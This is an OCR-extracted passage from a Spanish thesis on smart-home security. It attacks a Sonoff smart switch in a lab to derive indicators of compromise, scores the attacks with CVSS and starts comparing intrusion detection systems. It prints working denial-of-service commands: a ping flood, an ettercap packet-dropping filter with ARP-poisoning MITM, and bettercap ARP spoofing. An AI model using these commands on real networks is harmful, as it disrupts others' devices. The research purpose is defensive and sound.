12 2020-05-07 ©5:12§11.908096677 |192.168.0.221]192.168.0.20| 74 4284780 | TCP 42847 — 80 |[SYN]] Se
13 2020-05-07 ©5:12§11.988169531 J192.168.0.221]192.168.0.20| 74 4357580 | TCP 43575 — 80 |[SYN]] Se
14 2020-05-07 ©5:12)§11.908248427 J192.168.0.221]192.168.0.20| 74 3330980 | TCP 33309 — 80 |[SYN]] Se

1 L3
+ Frame 34: 60 bytes on wire (488 bits), 60 bytes captured (480 bits) on interface @

+ Ethernet II, Src: Espressi_a7v:al:ee (5c:cf:7f:a7:al:ee), Dst: Vmware_f6:ef:b9 (00:0c:29:f6:ef:b9)
+ Internet Protocol Version 4, Src: 192.168.0.20, Dst: 192.168.8.221

+ Transmission Control Protocol, Src Port: 88, Dst Port: 40779, Seq: 1, Ack: 1, Len: @

Fuente: Autor
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En esta captura de paquetes con wireshark ( Figura 46)se puede ver la gran velocidad con el que
el programa envia estos paquetes de inundacién, que son milisegundos de diferencia. Se establece
la IP del atacante y la IP del dispositivo smart switch, el puerto 80 viene configurado por defecto y
son paquetes de tipo SYN. En la aplicacién se ve el mismo panorama como sucedié con el ataque

por hping3.

El indicador de compromiso sera la velocidad tan corta entre cada paquete, la cantidad total de

paquetes enviados en un lapso de tiempo y el exceso de peticiones SYN de una misma IP.

Por ultimo, se probo un ataque de inundacion de paquetes utilizando el comando “ping” (Figura
47). “Ping” es un comando nativo de Windows y de Linux que se utiliza principalmente para verificar
conexién entre dos puntos, A y B. En este caso, al cambiar un poco los parametros lograremos
realizar una denegacién de servicio al dispositivo smart switch.

“ping -f -s 56500 192.168.1.100”

Figura 47 : Ataque con ping

:~# ping - -s 56500 192.168.0.20
PING 192.168.0.20 (192.168.0.20) 56500(56528) bytes of data.

38.0.20 ping statistics
478 packets transmitted, © received, 108% packet loss, time 483ms

Fuente: Autor
Donde el parametro “-f” indica flood o inundacion de paquetes a toda velocidad, “-s” indica el
tamafio del paquete y por defecto corresponde a 56 bytes y la IP de la victima.
Durante las pruebas se encontré que el dispositivo tolera una inundacién de paquetes ping hasta
un tamafio de 30000 bytes, a partir de aqui ya el dispositivo deja de funcionar. Si el ataque se

configura con la variable “-s” menor a 30000 el ataque no hard efecto en el dispositivo.
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Figura 48 : Captura de trafico ataque Ping

o. Time Source Destination Length pprt src por Protocol Info
8. 2020-05-87 06:33]57.206467640)192.168.0.221)192.168.0.20 |1514 IPv4 Fragmented IP
8.. 2020-05-07 06:33]57.206550647192.168.0.221)192.168.0.20 |1514 Iiiragmented IP |
8. 2020-05-87 ©6:33]57.20664654001192.168.0.221192.168.0.20 1282 ICMP Echo (ping) re
8.. 2020-05-07 ©6:33]57.219848859)192.168.0.221)192.168.0.20 |1514 Fragmented IP |
8.. 2020-05-07 06:33]57.220046960)192.168.0.221)192.168.0.20 |1514 IPv4 Fragmented IP |
8. 2020-05-07 06:33]57.220138269)192.168.0.221192.168.0.20 |1514 IPv4 Fragmented IP
8.. 2020-05-07 06:33]57.220221387192.168.0.221)192.168.0.20 |1514 IPv4 Fragmented IP |
8.. 2020-05-07 06:33]57.220305943192.168.0.221)192.168.0.20 |1514 IPv4 Fragmented IP |
8. 2020-05-87 06:33]57.220411523)192.168.0.221192.168.0.20 |1514 IPv4 Fragmented IP
8.. 2020-05-07 06:33]57.220493737192.168.0.221)192.168.0.20 |1514 IPv4 Fragmented IP |
8.. 2020-05-07 06:33]57.220588498192.168.0.221)192.168.0.20 |1514 IPv4 Fragmented IP |
8. 2020-05-87 B06:33]57.220668481)192.168.0.221)192.168.0.20 |1514 IPv4 Fragmented IP
8.. 2020-05-07 06:33]57.220763062)192.168.0.221)192.168.0.20 |1514 IPv4 Fragmented IP |
o 2000 NRE A7 AE22E7 99ngad1os 1023 a80 o 23231107 180 0O 90 ERC W | TMed TCramman +ad TN .

1 L3

Frame 27313: 1514 bytes on wire (12112 bits), 1514 bytes captured (12112 bits) on interface ©
Ethernet II, Src: Vmware_f6:ef:b9 (00:0c:29:f6:ef:b9), Dst: Espressi _a7:al:ee (5c:cf:7f:av7:al:ee)
Internet Protocol Version 4, Src: 192.168.8.221, Dst: 192.168.0.20

Data (1488 bytes)

Fuente: Autor

La captura del trafico en wireshark (Figura 48) mostro la velocidad de envio de paquetes, y como
en los anteriores ataques es de milisegundos, es importante esta velocidad para el funcionamiento
del ataque. Se observé la IP del atacante y la victima, el protocolo que se observa es el ICMP y los

paquetes estan fragmentados toda vez el tamafio es demasiado grande para uno solo.

En la aplicacién de “eWelink” el dispositivo muestra el mismo mensaje indicando que no se

encuentra el smart switch y que existen problemas de red.
El indicador de compromiso para este ataque es la velocidad con la que se reciben los paquetes, la

cantidad total de paquetes enviados en tan poco tiempo, el tamafio irregular de los paquetes y por

ultimo la IP del mismo destinatario que no cambia.

Indicador de Compromiso ataque Man in the middle

La arquitectura para la ejecucién de este ataque fue la siguiente Figura 49

Figura 49 : Arquitectura ataque de Man in the Middle
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Internet

(7

Enrutador:
IP: 192.168.0.1
MAC: 58:23:BC:57:60:E0

- X

Atacante: L
Kali linux 2020.2 N @
IP: 192.168.0.221
MAC: 00:0¢:29:f6:ef:h9 Sonoff smart switch:

IP:192.168.0.20
MAC: 5C:CF.TF:AT:A1:EE

Fuente: Autor
Con el montaje de este ataque se logré que la comunicacién entre el smart switch y el enrutador

fuera interceptada sin que el dispositivo smart switch tenga conocimiento de esto.

Utilizando la técnica de hombre en el medio fue posible realizar una denegacién del servicio del
dispositivo smart switch. En el blog [43] el autor nos comparte una técnica de denegacién de
servicio con la herramienta ettercap mediante un script realizado por él. Ettercap es una
herramienta desarrollada para realizar ataques de hombre en el medio, interceptar
comunicaciones de dispositivos, analizar los dispositivos de red y otras operaciones de hacking que

se pueden hacer con él.

Fue necesario construir un script personalizado ya que con la herramienta de Ettercap, el ataque
de hombre en el medio por si solo no causa una denegacién del servicio, pero con el script
propuesto si. Con este script el software de Ettercap logra interceptar el Smart switch logrando que
redirija su trafico al atacante y una vez se redirige el trafico de red este se corta, haciendo que el

tréfico de la red del dispositivo no llegue a su destinatario.

Lo primero fue construir el script propuesto en el blog (Figura 50), se debe guardar en la ruta de

ettercap fusr/share/ettercap.
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Figura 50 : Script para ettercap

*dos.elt
'if (ip.src == '192.168.0.20' || ip.dst == '192.168.0.20"')
{
drop();
Kill();
msg("Packet Dropped\n");
}

Fuente: Autor

El script es realizado en un idioma bastante simple y directo, basicamente estd construido por un
condicional “if” el cual pregunta si el paquete tiene de origen la ip “192.168.0.20” (el smart switch)
o de destino, si el paquete cumple con este condicional entonces el script va a matar este paquete
mediante un RST dado por el comando drop() y kill(). El Gltimo paso dentro del script es mostrar el
resultado en la consola mediante el mensaje de “packet dropped” o “paquete tumbado”.

El siguiente paso es compilar el script con ettercap para que este lo pueda entender, el mismo
ettercap trae un compilador, se debe abrir la consola y ejecutar el comando

etterfilter dos.elt -o dos.ef

Lo que hizo este comando fue compilar el script guardado como “dos.elt” y ahora ettercap lo
convirtié en su propio lenguaje con el nombre de “dos.ef”. Ya con el archivo compilado se le puede
decir a ettercap que lo utilice directamente. Por ultimo, construimos el comando de ataque, el cual
es

ettercap -T -q -F /usr/share/ettercap/dos.ef -M ARP /192.168.0.20///

Donde “-T” indica el modo silencioso en la consola para que no nos llene de mensajes, “-q” para
cargar el script, “-F” para ubicar la ruta del script, “-M” para ejecutar un ataque de hombre en el
medio por envenenamiento de ARP y por ultimo nuestra victima 192.168.0.20 (el smart switch), los

/// son importantes como requisito del comando.
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Figura 51 : Ejecucidon de ataque por mitm

opment Team

g id 'redir nm on' script in the etter.conf file
EUID © EG

1
monitor
vendor f

arting up!

polsoning victims:
GROUP 1 : 192. .20 5C:CF:7F:A7:Al:EE

s in the list)

(t only Inter
Hit 'h' for inline

Packet Drop

Fuente: Autor

Como se puede evidenciar con el lanzamiento del ataque (

Figura 51), el ettercap primero busca y encuentra todos los hosts dentro de la red local, en este
caso encontrd 8. Lo siguiente es que el ettercap crea dos grupos, GROUP 1y GROUP2. En el group
1 se incluye a la victima y en el group 2 se incluyen a todos los otros dispositivos de la red. Luego
envenena la tabla ARP de nuestra victima, el smart switch, y la manipula haciéndolo creer que todos
los host que tiene guardado en ella ahora se encuentran con la direccion MAC del atacante
00:0c:29:f6:ef:b9. Ahora a los dispositivos del group 2, les envenena la tabla ARP y les hace creer

gue el smart switch ahora tiene la direccion MAC y la IP del atacante Kali Linux. De esta manera el
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trafico dirigido saliente del smart switch llega al Kali Linux y el trafico entrante hacia el smart switch

también llega al Kali Linux.

Figura 52 : Captura de paquetes con ataque de Mitm

Time Source Destination Length portsrc por Protocol Info
328 2020-65-0.. | VMware_f6:ef:b9| |[HonHaiPr_el:12:4a| 42 ARP 192.168.08.20 is at|@0:0c:29:f6:ef:b9
329 2020-05-0.. | VMware_f6:ef:b9| |[Espressi_a7:al:ee| 42 ARP 192.168.0.16 is at |@@:0c:29:f6:ef:b9
330 2020-05-0.. | VMware f6:ef:b9| [SamsungE 93:f2:83| 42 ARP 192.168.0.20 is at |@0:0c:29:f6:ef:b9
331 2020-05-0.. | VMware_f6:ef:b9| |Espressi_a7:al:ee| 42 ARP 192.168.8.12 is at|@@:0c:29:f6:ef:b9
332 2020-05-0.. | VMware_f6:ef:b9| |Technico_de:ad:07| 42 ARP 192.168.0.20 is at OO:OC:ZQ'fG:ef b9
2020-05-08.. VMware f6:ef: Espressi av:
334 2020-05-0.. | VMware_f6:ef:b9| |Technico_57:60:e@| 42 ARP 192.168.0.20 is at O@:Oc:zg:fﬁzef:bg
335 2020-05-0.. | VMware f6:ef:b9| |[Espressi a7:al:ee| 42 ARP 192.168.0.46 is at |@0:0c:29:f6:ef:b9
336 2020-05-0.. | VMware_f6:ef:b9| |[Motorola_d7:2e:f1| 42 ARP 192.168.0.20 is at |00:0c:29:f6:ef:b9
337 2020-05-0.. | VMware_T6:ef:b9| |[Espressi_a7:al:ee| 42 ARP 192.168.0.25 is at |@@:0c:29:f6:ef:b9 =
338 2020-05-0.. | VMware_f6:ef:b9]| [HonHaiPr_33:11:7d| 42 ARP 192.168.0.20 is at|00:0c:29:f6:ef:b9
339 2020-05-0.. | VMware_f6:ef:b9| |[Espressi_a7:al:ee| 42 ARP 192.168.0.21 is at |@@:0c:29:f6:ef:b9 i
340 2020-05-0.. | VMware_f6:ef:b9| |HuaweiTe b6:5a:c6| 42 ARP 192.168.0.20 is at |e@:0c:29:f6:ef:b9 _
"J)l1 e T TA TN <1 S - RYITE LTe - of Lo Eenvracei aF:alcnn A% ANND 109 A80 A A0 e0 at I0AAc M0 FR af - hi ’—

» Frame 333: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface @
» Ethernet II, Src: VMware f6:ef:b9 (00:0c:29:f6:ef:b9), Dst: Espressi a7:al:ee (5Sc:cf:7f:a7:al:ee)
[Duplicate IP address detected for 192.168.8.1 (00:8c:29:f6:ef:b9) - also in use by 58:23:8c:57:60: (frame 317)]

» Address Resclution Protocel (reply)

Fuente: Autor

Como se puede observar (Figura 52), el atacante envia paquetes con el protocolo ARP a todos los
hosts de la red y les dice que el dispositivo con la IP 192.168.0.20 ahora tiene la direccion MAC del
atacante Kali Linux y al Sonoff smart switch le dice que todos los hosts que él conoce ahora tienen
la MAC del atacante. Este constituye la primera fase del ataque y es aqui donde se realiza el hombre
en el medio.

Figura 53 : Captura de paquetes RST con ataque de Mitm

Length portsrc por Protocol Info

Time Destination
o v . 1 Smilse )
[PST]

TCP 443 - 26522 [RST] Se

» Frame 471: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface ©
» Ethernet II, Src: VMware_f6:ef:b9 (00:0c:29:f6:ef:b9), Dst: Espressi_av:al:ee (5c:cf:7f:av:al:ee)
+ Internet Protocol Version 4, Src: 13.56.143.44, Dst: 192.168.0.20

» Transmission Control Protocol, Src Port: 443, Dst Port: 26522, Seq: 2122075826, Len: ©

Fuente: Autor
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En esta evidencia podemos observar cdmo se aplica la segunda fase del ataque (Figura 53), la cual
es dar de baja a todos los paquetes que salen o entran hacia la IP 192.168.0.20, en otras palabras,
hacia o desde del smart switch mediante la utilizacién de la bandera RST. En la Figura 51 se
evidencia como tras ejecutar el script, en la interfaz de la consola se observa el mensaje “Packet
dropped”, lo que indica que el paquete fue “reseteado” o RST. La bandera RST lo que hace es
reiniciar la conexion de manera abrupta, causando una interrupcién de trafico en la comunicacién

del paquete en la red.

Como complemento, en la columna de Info (Figura 53) se observa que la conexion fue reseteada,
por lo tanto, el dispositivo se quedd sin comunicacion con el mundo exterior, aqui es donde se
evidencia la denegacidn del servicio con el exterior, con el internet. Si observamos bien una de las
IP que intenta crear la conexién con el smart switch corresponde al servidor web de Amazon
descubierto anteriormente, 13.56.143.44, si el dispositivo no tiene comunicacién con internet

entonces no se puede comunicar con él y por ende no funciona el dispositivo.

Figura 54 : Resultado visto en el aplicativo “eWelink”
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O | Sanaffilex

et is olfline, no operation allowes,
peasa check netwark connsctivty

Fuente: Autor

Asi aparece en la aplicacidn el resultado del ataque (Figura 54), esta piensa que el dispositivo se

encuentra apagado o desconectado de la red.

Este ataque deja mucho rastro, evidencia en la red y por lo tanto es facil de evidenciar su indicador
de compromiso. El atacante lanza constantemente paquetes con el protocolo ARP hacia todos los
hosts de la red, el atacante corta las conexiones entrantes/salientes utilizando la bandera de los
paquetes tcp denominada RST lo cual no es un comportamiento normal y en el trafico de la red se

evidencia un escaneo de todos los hosts que se encuentran en esta.

Indicador de Compromiso ataque ARP poisoning

La arquitectura para la ejecucion de este ataque fue la siguiente (Figura 55)
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Figura 55 : Arquitectura ataque de ARP poisoning

Internet
3
| Wl

Enrutador:
IP;: 192.168.0.1
MAC: 58:23:BC:5T:60:EQ

' Frn
y 4 G,
\ . _ ap_‘-*jﬁ

-

Atacante: #
Kali linux 2020.2 ¢
IP: 192.168.0.221
MAC: 00:0¢c:29:f5.af b9 Sonoff smart switch:

IP:192.168.0.20
MAC: 5C:CF:TF:AT:Al1:EE

Fuente: Autor

Lo que ocurre con este ataque es que el dispositivo smart switch es engafado y piensa que el
atacante corresponde al enrutador, por lo tanto, dirige su trafico a este. Pero como el atacante no
es ningun enrutador el dispositivo se queda sin comunicacién con el mundo exterior y por lo tanto
se le niega el servicio.

Para la realizacién de este ataque se decidid implementar la herramienta de bettercap [44],
conocida como la navaja suiza para ataques en WiFi, Bluetooth Low Energy, secuestro de
informacidn inaldmbrico y reconocimiento de redes incluso para MITM. Con esta herramienta se

realizd el ARP spoofing.

Bettercap ya viene instalado en Kali Linux (Figura 56), entonces lo que se debe hacer es iniciar el

componente con el comando “bettercap” en la terminal de comandos.
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Figura 56 : Inicio de ataque con bettercap

: /# bettercap
bettercap v2.27.1 [type 'help' for a list of commands]

Fuente: Autor
Luego se le debe indicar al arp spoof (se llama spoof toda vez se entiende como un engafio a la
tabla ARP) Ila IP de la victima mediante el comando (Figura 57)

set arp.spoof.targets 192.168.0.20

Figura 57 : Parametrizacion del ataque

[type 'help' for a list of commands]

of.targets 192.168.0.20

Fuente: Autor
Donde la IP 192.168.0.20 corresponde al smart switch victima. Finalmente se lanza el ataque con

el comando (

Figura 58) “Arp.spoof on”
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Figura 58 : Inicio de ataque con bettercap

f arp spoofer starte robing 1 targets.

192.168.0.25 d

-168.0.11 de

.20
.12

.21 de

«18 ¢

.15 de

Fuente: Autor

Una de las caracteristicas de este ataque es que la herramienta fue muy facil de configurar, lo Unico
gue se necesitd fue conocer la IP de la victima y ya el ataque fue posible. La misma herramienta

identifica los demas dispositivos en la red. Al analizar el trafico en la red encontramos lo siguiente

Figura 59
Figura 59 : Captura de trafico con wireshark bettercap
Time Source Destination Length port src por Protocol Info

76 2020-05-0.. re f6:ef:h9 Fspressi a7:gl:ce 60 ARP 192 .168.0.1 is at 08:0¢:29:f6:ef:hg

77 2020-05-0.. |VMware f6:ef:b9 Technico 57:60:e@ 42 ARP Who has 192.168.8.17 Tell 192.168.0.221 |
78 2020-05-0.. Technico_57:60:.. VMware_f6:ef:b9 60 ARP 192.168.0.1 is at 58:23:8c:57:60:e0

Time Source Destination Length port src por Protocol Info

111 2020-05-0.. |VMware_f6:ef:b9| [Espressi_a/:al:ee| 60 ARP 192.168.0.1]is at [@0:08c:29:f6:ef:b9
112 26820-05-0.. |VMware_f6:ef:b9||Espressi_a7:al:ee| 60 ARP 192.168.0.1]is at |[@0:0c:29:f6:ef:b9
113 2020-05-0.. |VMware f6:ef:b9||Espressi a7:al:ee| 60 ARP 192.168.0.1]is at |00:0c:29:f6:ef:b9
114 2020-05-0.. |VMware f6:ef:b9||Espressi a7v:al:ee| 60 ARP J192.168.0.1]is at |@@:0c:29:f6:ef:b9
115 2020-05-0.. |VMware_f6:ef:b9||Espressi_av:al:ee| 60 ARP J192.168.0.1]is at |@@:0c:29:f6:ef:b9
116 2020-05-0.. |VMware_f6:ef:b9||Espressi_a7:al:ee| 60 ARP 192.168.0.1|is at |[@@:0c:29:f6:ef:b9
117 2020-05-0.. |VMware_f6:ef:b9| |Espressi_av:al:ee| 60 ARP 192.168.0.1]|is at |[@0:0c:29:f6:ef:b9
118 2020-85-0.. |VMware_f6:ef:b9||Espressi_a7:al:ee| 60 ARP 192.168.08.1]is at |[@@:8c:29:f6:ef:b9
119 2020-05-0.. |VMware f6:ef:b9||Espressi a7:al:ee| 60 ARP J192.168.0.1]is at |0@:0c:29:f6:ef:b9
120 2020-05-0.. |VMware_f6:ef:b9||Espressi_av:al:ee| 60 ARP J192.168.0.1]is at |@@:0c:29:f6:ef:b9
121 2020-05-0.. |VMware_f6:ef:b9||Espressi_av:al:ee| 60 ARP J192.168.0.1]is at |@@:0c:29:f6:ef:b9
122 2020-05-0.. |VMware_f6:ef:b9||Espressi_a7:al:ee| 60 ARP 192.168.0.1]is at |[@@:8¢c:29:f6:ef:b9
123 2020-05-0.. |VMware_f6:ef:b9| |Espressi_av:al:ee| 60 ARP 192.168.0.1]|is at |[@0:0c:29:f6:ef:b9
124 2020-05-0.. |VMware_f6:ef:b9||Espressi_a7:al:ee| 60 ARP 192.168.0.1|is at |[@0:0c:29:f6:ef:b9
125 2020-05-0.. |VMware f6:ef:b9||Espressi a7:al:ee| 60 ARP [192.168.0.1]is at |@@:0c:29:f6:ef:b9
126 2020-05-0.. |YMware f6:ef:bol|Espressi av:al:ee| 60 ARP [192.168.0.1]|is at |90:0c:29:f6:ef:b9

Fuente: Autor
En la primera imagen de la Figura 59 la herramienta identifica al enrutador de la red local ubicado
enlaIP 192.168.0.1. Luego la maquina atacante (Kali Linux — Vmware_f6:ef:b9) le envia paquetes
a la victima (smart switch — Espressi_a7:al:ee) con el protocolo ARP de manera continua
indicandole que ahora el enrutador con la IP 192.168.0.1 cambid de direccion MAC vy tiene la
direccion MAC del atacante. De esta manera el smart switch no es capaz de encontrar al enrutador

lo cual le causa una denegacidn de servicio toda vez no es capaz de salir a internet.
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Figura 60 : Resultado visto en el aplicativo “eWelink”

| Sonadfales

Fuente: Autor

Asi se evidencia en el aplicativo de “eWelink” el resultado del ataque (Figura 60), el dispositivo no
se encuentra conectado.

Este ataque también es muy evidente de detectar. El indicador de compromiso es la repeticidén de
envié de paquetes con el protocolo ARP, la cantidad de paquetes enviados por segundo que no es

normal y el escaneo de red que realiza la herramienta.

2.2.3 Clasificacion de los indicadores de compromiso

La clasificacion de los indicadores de compromiso se realiza mediante una extrapolacién de la
clasificacion de los ataques informaticos elegidos en la fase 1, de acuerdo con la puntuacién dada

por el marco de Common Vulnerability Scoring System (CVSS). La puntuacién nos indica que nivel
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de impacto tienen los ataques elegidos y qué tan peligrosos son de tener en la red. EI CVSS se utiliza
para evaluar la gravedad y el nivel de amenaza de las vulnerabilidades de seguridad en los sistemas

y software.

Al conocer el nivel de impacto del ataque también sirve para clasificar el nivel del indicador de
compromiso, ya que el indicador de compromiso es toda la evidencia que deja la materializacion
del ataque informatico. Si el ataque informatico se clasifica como de alto impacto entonces por
consiguiente su indicador de compromiso también sera de alto impacto, por ejemplo, el ataque

puede afectar el flujo del trafico de la red al traer paquetes alli que antes no estaban.

Operado por el Foro de Equipos de Seguridad y Respuesta a Incidentes (FIRST), el CVSS utiliza un
algoritmo para determinar tres puntajes de calificacién de gravedad: Base, Temporal y Ambiental.

Los puntajes son numeéricos; oscilan entre 0.0 y 10.0, siendo 10.0 el mas severo [45].

Figura 61 : Puntaje de CVSS

Rating CVSS Score
None 0.0
Low 01-39
Medium 40-69
High 70-89
Critical 9.0-100

Fuente: [45]

De acuerdo con la calculadora dispuesta por el desarrollador FIRST Inc (Figura 61), se describen las

siguientes métricas para calcular el puntaje y el impacto del ataque:

e Vector de ataque: Esta métrica refleja el contexto por el cual es posible la explotacién de
vulnerabilidades. Se dispone de las opciones: Network, Adjacent, Local, Physical.

e Complejidad del ataque: Esta métrica describe las condiciones mas alld del control del
atacante que deben existir para aprovechar la vulnerabilidad. Se dispone de las opciones:

Baja o alta.
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Privilegios requeridos: Esta métrica describe el nivel de privilegios que debe tener un
atacante antes de explotar con éxito la vulnerabilidad. Se dispone de las opciones:
Ninguno, Bajo, Alto.

Interaccién del usuario: Esta métrica captura el requisito de que un usuario humano, que
no sea el atacante, participe en el compromiso exitoso del componente vulnerable. Se
dispone de las opciones: Ninguno o Requerido.

Alcance: Esta métrica verifica si una vulnerabilidad en un componente vulnerable impacta
los recursos en componentes mas alld de su alcance de seguridad. Se dispone de las
opciones: Sin alterar o Alterado.

Confidencialidad: Esta métrica mide el impacto en la confidencialidad de los recursos de
informacidon administrados por un software o sistema de informaciéon debido a una
vulnerabilidad explotada con éxito. Se dispone de las opciones: Alto, Bajo, Ninguno.
Integridad: Esta métrica mide el impacto en la integridad de una vulnerabilidad explotada
con éxito. La integridad se refiere a la confiabilidad y veracidad de la informacién. Se
dispone de las opciones: Alto, Bajo, Ninguno.

Disponibilidad: Esta métrica mide el impacto en la disponibilidad del componente afectado
como resultado de una vulnerabilidad explotada con éxito. Se dispone de las opciones:

Alto, Bajo, Ninguno.

Estas métricas son las utilizadas para calcular el nivel de amenaza de un ataque informatico, la

calculadora se puede encontrar en la pagina de First [45].

La calcu

ladora utilizada se encuentra en la version 3.1, a continuacion, los resultados obtenidos de

acuerdo con el ataque realizado.

Tabla 4 : Resultados obtenidos con la calculadora CVSS

CALCULADORA CVSS VERSION 3.1

Nombre
del ataque

Métricas
Vecto = Compleji = Privileg = Interacc = Alcance =@ Confidencia = Integri Disponibil = Puntuac | Result
rde dad del ios ion del lidad dad idad ion ado
ataqu = ataque requeri usuario

e dos
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Deautentic | Netw High None None Unchan = None None High 5.9 | Medio

ation ork ged

attack

Dos by Netw Low None None Unchan = None None High 7.5 | Alto

flooding ork ged

MITM Netw High None None Change None None High 6.8 = Medio
ork d

ARP Netw High None None Change None None High 6.8 | Medio

Poisoning ork d

Fuente: Autor

Finalmente se obtuvieron los resultados de los ataques realizados al Smart switch (Tabla 4). Como
se puede observar, el ataque que se clasifica como mas peligroso y de Alto impacto fue la
denegacion de servicio por flooding. Esto se debe a que el ataque es muy facil de realizar y no
requiere de mayor complejidad para su ejecucidon. Los ataques de MITM y ARP Poisoning se
parecen mucho y por lo tanto obtuvieron el mismo puntaje. Estos ataques requirieron de un poco
mas de conocimiento, instalacion y procedimiento para su ejecucién. Estos ataques interfieren en
el alcance del ataque toda vez intervienen en dos o mas sistemas conectados al mismo de su
ejecucion, se consideran como de impacto tipo Medio. Finalmente, el ataque por desautenticacién
fue el de menor impacto toda vez su alcance solo se limita a un mismo dispositivo, esta fue la
diferencia por la cual no obtuvo el mismo puntaje que los ataques de MITM o el ARP Poisoning.

Este ataque también se considera de impacto tipo Medio.

De esta manera, gracias a esta clasificacion de los ataques realizada, se le puede dar una
clasificacidn directamente relacionado a los indicadores de compromiso expuestos en la fase 2. Los
indicadores de compromiso analizados en la investigacidn son registros que quedan en la red, estos
registros son de gran alarma ya que pueden causar mucho trafico indebido en la red de datos. Por
consiguiente, cada indicador de compromiso expuesto queda clasificado de acuerdo con el nivel de

impacto obtenido en la tabla 4 de resultados del ataque, asi (Tabla 5):
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Tabla 5: Clasificacion indicadores de compromiso

Ataque informatico

Indicador de Compromiso

Tipo de Indicador de
compromiso

Clasificacion

Deautentication
attack

Paquetes ARP repetitivos

Trafico inusual en la
red

Medio
impacto

Dos by flooding

Inundacién de paquetes

Trafico inusual en la
red

Alto impacto

Trafico inusual en la

Medio

MITM Paquetes con bandera RST repetitivos | red impacto
Trafico inusual en la Medio
ARP Poisoning Paquetes ARP repetitivos red impacto

2.3 Fase 3

Fuente: Autor

La fase 3 propone diseiar e implementar la arquitectura en la que debe operar el software de

monitoreo y alertas en la red loT. Al diseflar e implementar la arquitectura de red se puede

configurar el software que va a alertar sobre los ataques vistos en la red, si no se conoce los

dispositivos de la red entonces queda muy dificil configurar las herramientas para realizar dicho

monitoreo. Lo primero y mas importante fue elegir el software de monitoreo, el cual tiene las

funciones de alertamiento, seguido de alli se analiza la arquitectura de red en el hogar loT vy

finalmente se crean las reglas de alertamiento en el software elegido.

A continuacion, se describe el procedimiento llevado a cabo para instalar y ejecutar la arquitectura

de red necesaria para monitorear y alertar los ataques provenientes al dispositivo Smart Switch.

2.3.1 Busqueda del software para monitorear la red
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En el mercado actual para soluciones de seguridad en la red existen muchas empresas que ofrecen
este tipo de productos, cada una con diferentes alcances/configuraciones/precios y por lo tanto
para poder hacer una eleccién correcta y objetiva sobre la herramienta a utilizar se realizd un

estudio para comparar las diferentes soluciones.

En la investigacién titulada “Modelo para la gestion de incidentes de seguridad en redes
industriales SCADA a través del algoritmo de prediccién Filtro Kalman” [46] los autores evaluaron
10 sistemas de deteccidn de intrusos disponibles en el mercado y los compararon entre si, con el
objetivo de hacer la mejor eleccidn para la realizacién y montaje de un sistema de deteccidn en

una red SCADA, SCADA es acronimo para sistemas de Supervisién, Control y Adquisicion de Datos.

Si bien en la investigacion presente no se considera un escenario de tipo SCADA, si se considera un
analisis de trafico en la red, y al igual que un escenario con un sistema SCADA, el Smart switch y el
SCADA necesitan de una proteccion en la red. Por lo tanto, se pueden utilizar los mismos criterios
de eleccion del sistema SCADA para la investigacion presente del Smart Switch.

Los sistemas de deteccion de intrusos en la red analizados por los investigadores fueron: SNORT,
Suricata, Kismet, Bro IDS, Ossec, Tripwire, Samhain, Fortinet, Radware y Palo Alto. Con unas
caracteristicas establecidas por ellos, se definié el mejor NIDS para la investigacion y este fue el

SNORT.

Con mas de 5 millones de descargas y mas de 600,000 usuarios registrados, Snort es el sistema de
prevenciéon de intrusos mas utilizado a nivel mundial [47]. Por su popularidad esto hace que se
encuentre muchisimo material de apoyo en internet, en diferentes lenguajes y distintas
plataformas que pueden ser de gran ayuda para la investigacidon. En la investigacion [48] los
investigadores concluyeron que snort consumia menor cantidad de recursos de procesamiento
comparado con Suricata y también concluyeron que Snort detectaba menos falsos positivos que
Suricata al analizar un mismo archivo de paquetes, por lo tanto afirmaron que Snort tiene una

efectividad de deteccidon 10% superior a la de Suricata.
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2.3.2 Tabla comparativa con el software de monitoreo en la

red

Los investigadores propusieron unas caracteristicas a evaluar con el fin de determinar cudl sistema

de deteccién de intrusos seria el ideal para lograr una buena seguridad en la red SCADA [46].

Tabla 6: Caracteristicas sistemas de IDS

No | Caracteristic | Puntos | Consideracion

as del IDS

1 Virtualizacion | 9 Dada la facilidad de las plataformas o maquinas virtuales, el
IDS debe poder ser instalado en este tipo de sistemas, con
ello, se podria tener movilidad a la hora de fijar un IDS en
otra red.

2 Alertas en 9 Teniendo en cuenta que es un filtro predictivo, las alertas

tiempo real deben darse en tiempo real para poder actuar ante cualquier
posible evento de seguridad.

3 Personalizaci | 9 Los sistemas SCADA como elementos tecnoldgicos

on de reglas particulares, requieres de soluciones que se ajusten a sus
necesidades, esto es, que se puedan personalizar reglas
acordes al sistema y el proceso organizacional.

4 Modo NIDS 9 Parte fundamental de la deteccidn es que se logre identificar
desde la red cualquier posible anomalia, por ello debe tener
funciones de NIDS (Network -IDS)

5 Solo IDS 10 La disponibilidad de la plataforma es lo primordial, por lo

cual, los IDS debe ser configurados SOLO en modo lectura o
monitoreo, no se puede permitir que queden en modo IPS
(de forma nativa). Por esta razén, este factor (a diferencia de
los demas) tiene un aumento en la puntuacion. Un sistema
IPS debe cursar el trafico por el dispositivo, aumentando los
falsos positivos hasta que el sistema se estabilice, pero esto

puede tomar mas tiempo de lo normal.
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6 Open Source |9 Los presupuestos del proyecto son reducidos, por lo cual la
necesidad es que el IDS pueda solventar dicha necesidad.
7 Multiprocesad | 9 Muy alineado con la caracteristica 1y 9.
or
8 Protocolo 9 Los protocolos de comunicacion de tipo Modbus son los
Modbus usados para los sistemas PLC, por lo cual, es necesario que
el IDS soporte dicho protocolo.
9 Multiplataform | 9 Es importante, en consideracién con el item 1, que se
a permita la instalacién del IDS acorde a los recursos y
plataformas disponibles en la organizacion, para con ello dar
mas escalabilidad.
10 | Automatizacio | 9 Opcion de poder automatizar tareas en la deteccién.
n
11 | Experiencia 9 La experiencia en IDS para SCADA de los proveedores,
de los comunidades o grupos de interés en fundamental para tener
investigadore sistemas estables y actualizados.
s
Total 100

Fuente: Modelo para la gestion de incidentes de seguridad en redes industriales SCADA a través

del algoritmo de prediccién Filtro Kalman [46]

Segun el sistema de ponderacidn realizada por los investigadores, se crearon 11 diferentes

categorias a evaluar, cada categoria con un puntaje diferente entre 9y 10 (Tabla 6).Teniendo en

cuenta estos criterios de cumplimiento se sigue a analizar la tabla final donde se elige el sistema

IDS para realizar la investigacion

Tabla 7 : Tabla comparativa IDS vs Caracteristicas

© () c - g 2
(7,) S = Q —
b5 8|8 g 5| E|2|E<
. 21 90| = ﬁ o w| & E| £ 5|2
